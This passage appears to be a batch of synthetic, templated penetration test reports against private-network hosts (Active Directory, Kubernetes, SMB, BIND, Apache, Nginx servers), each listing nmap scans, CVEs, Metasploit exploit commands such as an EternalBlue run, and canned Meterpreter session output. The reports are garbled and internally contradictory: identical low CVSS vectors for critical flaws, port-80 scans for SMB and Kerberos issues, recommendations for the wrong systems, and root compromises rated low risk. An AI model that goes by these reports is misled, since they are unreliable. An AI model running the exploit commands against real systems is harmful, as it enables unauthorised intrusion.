Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.120.102.244 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.120.102.244 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.120.102.244 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.120.102.244; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) - CVE-2022-26923 (CVE-2022-26923) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (365 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained user access [*] Connected to 10.120.102.244 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 3 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0058 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the Kubernetes API server (192.168.33.85) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 192.168.33.85 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.33.85 Host is up (0.48s latency). MAC Address: C2:79:77:C2:F3:96 (VMware) 6443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10250/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10255/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 3 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 16 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25735 (Privilege Escalation via Node Proxy Bypass) CVE: CVE-2021-25735 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.33.85 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-25741 (DoS via EndpointSlice Validation) CVE: CVE-2021-25741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.33.85 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.33.85 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 192.168.33.85; set RPORT 6443; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-25735 (CVE-2021-25735) - CVE-2021-25741 (CVE-2021-25741) - CVE-2020-8554 (CVE-2020-8554) [*] Started reverse TCP handler on port 6443 [*] Sending payload... [*] Sending stage (299 bytes) [*] Meterpreter session 9 opened [*] Session established [*] Gained root access [*] Connected to 192.168.33.85 [*] Post-exploitation modules available: - container_escape - cluster_enum - deploy_pod === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0059 Date: 2025-05-11 19:07:19 Tester: asmith Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the SMB file server (192.168.146.122) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 192.168.146.122 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.146.122 Host is up (0.26s latency). MAC Address: 92:C8:48:2C:58:D0 (Lenovo) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 2 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 12 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-36942 (Windows SMB Security Feature Bypass) CVE: CVE-2021-36942 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.146.122 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.146.122 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.146.122 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.146.122; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) - CVE-2021-36942 (CVE-2021-36942) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (573 bytes) [*] Meterpreter session 5 opened [*] Session established [*] Gained system access [*] Connected to 192.168.146.122 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0060 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the BIND DNS server (192.168.224.26) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 192.168.224.26 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.224.26 Host is up (0.12s latency). MAC Address: 68:70:E9:38:03:D6 (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 192.168.224.26 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @192.168.224.26 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 192.168.224.26; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 192.168.224.26:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @192.168.224.26 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0061 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the OAuth2 authentication service (10.77.32.170) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 10.77.32.170 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.77.32.170 Host is up (0.24s latency). MAC Address: CC:A9:C2:A5:73:D7 (Amazon) 80/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 10 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Information Disclosure CVE: CVE-2021-17315 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 10.77.32.170 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: Insecure Configuration CVE: CVE-2019-18634 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (6.6) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 10.77.32.170 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 10.77.32.170; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/apache_mod_cgi_bash_env_exec... [-] Exploit failed: Connection reset by peer [*] Analysis: - Attempted to exploit known vulnerabilities: - Insecure Configuration (CVE-2019-18634) - Information Disclosure (CVE-2021-17315) - Network-level blocking or intrusion prevention system detected the attack [*] Recommended next steps: - Try manual Shellshock exploitation with curl - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0062 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the Apache web server (192.168.101.100) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443,8080,8443 192.168.101.100 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.101.100 Host is up (0.15s latency). MAC Address: 28:9C:76:65:A3:41 (Amazon) 80/tcp open http nginx/1.18.0 443/tcp open http nginx/1.18.0 8080/tcp open http nginx/1.18.0 8443/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 6 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-41773 (Path Traversal - Apache 2.4.49) CVE: CVE-2021-41773 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.101.100 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-31813 (HTTP Response Smuggling - Apache HTTP Server) CVE: CVE-2022-31813 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.101.100 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-42013 (RCE - Apache 2.4.50) CVE: CVE-2021-42013 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.101.100 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 192.168.101.100; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42013 (CVE-2021-42013) - CVE-2021-41773 (CVE-2021-41773) - CVE-2022-31813 (CVE-2022-31813) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (579 bytes) [*] Meterpreter session 9 opened [*] Session established [*] Gained root access [*] Connected to 192.168.101.100 [*] Post-exploitation modules available: - shell - upload - download - screenshot === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 3 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0063 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the Nginx web server (192.168.247.248) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 192.168.247.248 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.247.248 Host is up (0.51s latency). MAC Address: A8:EE:47:C3:6F:5F (Apple) 80/tcp open http Apache/2.4.41 443/tcp open http nginx/1.18.0 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 3 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 16 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.247.248 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.247.248 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.247.248; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (304 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained www-data access [*] Connected to 192.168.247.248 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0064 Date: 2025-05-11 19:07:19 Tester: asmith Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the BIND DNS server (192.168.243.54) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 192.168.243.54 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.243.54 Host is up (0.40s latency). MAC Address: 22:06:E6:20:25:89 (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 13 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 192.168.243.54 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @192.168.243.54 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 192.168.243.54; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 192.168.243.54:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @192.168.243.54 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0065 Date: 2025-05-11 19:07:19 Tester: mchen Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the BIND DNS server (192.168.166.149) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 192.168.166.149 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.166.149 Host is up (0.10s latency). MAC Address: 80:03:F9:84:5A:5A (Amazon) 